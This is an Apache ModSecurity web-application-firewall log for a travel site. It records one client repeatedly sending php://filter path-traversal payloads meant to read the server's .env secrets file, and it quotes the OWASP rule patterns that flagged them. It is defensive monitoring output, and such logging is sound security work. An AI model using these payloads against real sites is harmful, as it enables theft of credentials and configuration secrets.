[Fri Jul 17 08:55:11.802236 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MOgAAAAc"]
[Fri Jul 17 08:55:11.802364 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.802667 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1h1WDijTxd1xw5MOgAAAAc"]
[Fri Jul 17 08:55:11.803131 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJgAAABQ"]
[Fri Jul 17 08:55:11.803248 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.803519 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sJgAAABQ"]
[Fri Jul 17 08:55:11.810664 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:src: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcQAAAAU"]
[Fri Jul 17 08:55:11.813523 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcQAAAAU"]
[Fri Jul 17 08:55:11.813699 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.814018 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AcQAAAAU"]
[Fri Jul 17 08:55:11.819813 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&src=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&token=0Vk2q_Z7ICGArWBQg_yMPNRAbRDXm4Bzi8cNFiG8GGDe-JsqRQebOqPC_Y4dPH8UeBOnnKGY9Y3Jof09m9PW5I0kVxkyjUhZ6eVUbavu16OpFfmZx4hmMzLj8ubqQzgJ7MeNvbCeOddeFcTQ3tpoBMB2sZ0mbnUB-HVrqwZBqv9SGeZoTk0iUc67KcaYzLh8CmqJwViEFpT4uQ__1iJj5-wS73Ik29BjuoS4cVODbMdNdhN-8urRjvYWif6tf_Wdpm2x2xWU0ZPw1rJG0kqkONHr&junk=GHN2XL7T5C3TE4IMOMC7RLZTPUTUNK323RK23WK4QGVQFTNEFQMDZKBLEIXYHHZG7REFQFCLHZGNP..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8jAAAABA"]
[Fri Jul 17 08:55:11.819863 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8jAAAABA"]
[Fri Jul 17 08:55:11.819920 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&token=0Vk2q_Z7ICGArWBQg_yMPNRAbRDXm4Bzi8cNFiG8GGDe-JsqRQebOqPC_Y4dPH8UeBOnnKGY9Y3Jof09m9PW5I0kVxkyjUhZ6eVUbavu16OpFfmZx4hmMzLj8ubqQzgJ7MeNvbCeOddeFcTQ3tpoBMB2sZ0mbnUB-HVrqwZBqv9SGeZoTk0iUc67KcaYzLh8CmqJwViEFpT4uQ__1iJj5-wS73Ik29BjuoS4cVODbMdNdhN-8urRjvYWif6tf_Wdpm2x2xWU0ZPw1rJG0kqkONHr&junk=GHN2XL7T5C3TE4IMOMC7RLZTPUTUNK323RK23WK4QGVQFTNEFQMDZKBLEIXYHHZG7REFQFCLHZGNPVDPVHMG5TBRVVNNMNGAK7OAC..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8jAAAABA"]
[Fri Jul 17 08:55:11.819961 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&token=0vk2q_z7icgarwbqg_ympnrabrdxm4bzi8cnfig8ggde-jsqrqeboqpc_y4dph8uebonnkgy9y3jof09m9pw5i0kvxkyjuhz6evubavu16opffmzx4hmmzlj8ubqqzgj7menvbceoddefctq3tpobmb2sz0mbnub-hvrqwzbqv9sgezotk0iuc67kcayzlh8cmqjwviefpt4uq__1ijj5-ws73ik29bjuos4cvodbmdndhn-8urrjvywif6tf_wdpm2x2xwu0zpw1rjg0kqkonhr&junk=ghn2xl7t5c3te4imomc7rlztputunk323rk23wk4qgvqftnefqmdzkbleixyhhzg7refqfclhzgnpvdpvhmg5tbrvvnnmngak7oac..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8jAAAABA"]
[Fri Jul 17 08:55:11.819993 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8jAAAABA"]
[Fri Jul 17 08:55:11.820019 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8jAAAABA"]
[Fri Jul 17 08:55:11.820407 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:src: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8jAAAABA"]
[Fri Jul 17 08:55:11.821459 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8jAAAABA"]
[Fri Jul 17 08:55:11.821604 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.821931 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0kXT4NBqALj2lZ8jAAAABA"]
[Fri Jul 17 08:55:11.825759 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&src=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&ref=3Vt881VL0V6uwPospM7f5Zi_dKZ4WQOnm0JvQRMzH8KMhMkJV9FW1sE3LjnwtrNj9qLw0zZM9SsCgeB6rdXlpMCdyif0-xerUc6ofJSAjjz0LdHAHvF5cp-j414GBVaipztffhDfZBsmvuyfwXwCmPOP2qoUVsnXXAqSeoyWpL9viB5VRegsqCZnh2QxS_yq6kaEtbayZIYuC-PVdbp6nU7U6ssE1WO09TaMG3dkv-JF4PFoGRtC8KxmLnmy4rM9CR92VF8IQH6kLCebLTPv9sNE&token=MW323LJOD6CRP2CP74P3MBJ26ADY7USY2K4YOS6OR4OOPFREWHF27CZA37OGNHCURFTARULZR..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSeQAAAB4"]
[Fri Jul 17 08:55:11.825810 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSeQAAAB4"]
[Fri Jul 17 08:55:11.825867 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&ref=3Vt881VL0V6uwPospM7f5Zi_dKZ4WQOnm0JvQRMzH8KMhMkJV9FW1sE3LjnwtrNj9qLw0zZM9SsCgeB6rdXlpMCdyif0-xerUc6ofJSAjjz0LdHAHvF5cp-j414GBVaipztffhDfZBsmvuyfwXwCmPOP2qoUVsnXXAqSeoyWpL9viB5VRegsqCZnh2QxS_yq6kaEtbayZIYuC-PVdbp6nU7U6ssE1WO09TaMG3dkv-JF4PFoGRtC8KxmLnmy4rM9CR92VF8IQH6kLCebLTPv9sNE&token=MW323LJOD6CRP2CP74P3MBJ26ADY7USY2K4YOS6OR4OOPFREWHF27CZA37OGNHCURFTARULZRGAZOEP7Z75S3RNEJM2K2KSBLEL..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSeQAAAB4"]
[Fri Jul 17 08:55:11.825897 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&ref=3vt881vl0v6uwpospm7f5zi_dkz4wqonm0jvqrmzh8kmhmkjv9fw1se3ljnwtrnj9qlw0zzm9sscgeb6rdxlpmcdyif0-xeruc6ofjsajjz0ldhahvf5cp-j414gbvaipztffhdfzbsmvuyfwxwcmpop2qouvsnxxaqseoywpl9vib5vregsqcznh2qxs_yq6kaetbayziyuc-pvdbp6nu7u6sse1wo09tamg3dkv-jf4pfogrtc8kxmlnmy4rm9cr92vf8iqh6klcebltpv9sne&token=mw323ljod6crp2cp74p3mbj26ady7usy2k4yos6or4oopfrewhf27cza37ognhcurftarulzrgazoep7z75s3rnejm2k2ksblel..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSeQAAAB4"]
[Fri Jul 17 08:55:11.825932 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSeQAAAB4"]
[Fri Jul 17 08:55:11.825960 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSeQAAAB4"]
[Fri Jul 17 08:55:11.826317 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:src: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSeQAAAB4"]
[Fri Jul 17 08:55:11.827346 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSeQAAAB4"]
[Fri Jul 17 08:55:11.827493 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.827852 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSeQAAAB4"]
[Fri Jul 17 08:55:11.831541 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: 